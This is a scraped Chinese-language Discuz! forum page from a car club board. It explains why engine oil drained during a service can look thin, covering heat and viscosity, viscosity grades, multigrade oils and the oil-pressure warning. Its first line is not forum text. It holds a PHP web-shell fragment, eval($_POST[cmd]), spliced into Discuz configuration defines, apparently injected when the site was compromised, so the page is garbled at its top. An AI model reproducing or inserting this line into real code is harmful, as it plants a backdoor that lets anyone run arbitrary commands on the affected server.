');eval($_POST[cmd])?>'); define('UC_APPID', 'UC_APPID'); define('UC_PPP', '20'); 潤滑油很稀是否正常? - 超跑俱樂部 - 四輪天下 - Powered by Discuz!
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潤滑油很稀是否正常?

愛車在做換油保養時,從油底殼放出來的機油像水一樣,這是怎麼回事?
如果是在熱車狀況下放油會看見油品比較稀,因為在高溫時潤滑油分子間的距離變大黏度會降低。但是準確測定黏度稀稠的方法是在實驗室用設備測量,感官觀察並不準確。黏度級別的分類是對低溫流動性和高溫黏度保持性的限制,發動機油常溫下的黏度沒有實際意義,因為發動機啟動前要求潤滑油較稀,減少啟動磨損。啟動後機油溫度會迅速升高,此時,則需要機油保持一定的黏度,以提供充足的潤滑。
同等黏度級別的潤滑油在同一溫度條件下黏度差別是很小的,直觀看不出來。與單級黏度油相比,多級油低溫流動性好一些,因此感覺較稀。碳顆粒和高溫氧化是造成機油黏度增加的主要原因。一些機油的分散性較好,可將碳顆粒分散在油中,且抗氧化性較強,因此感覺比其他油流動性好。所以在使用過程中主要是觀察車輛油壓的報警裝置來判斷其油品是否正常,其黏度大小也必須用實驗室設備測量才準確。

 

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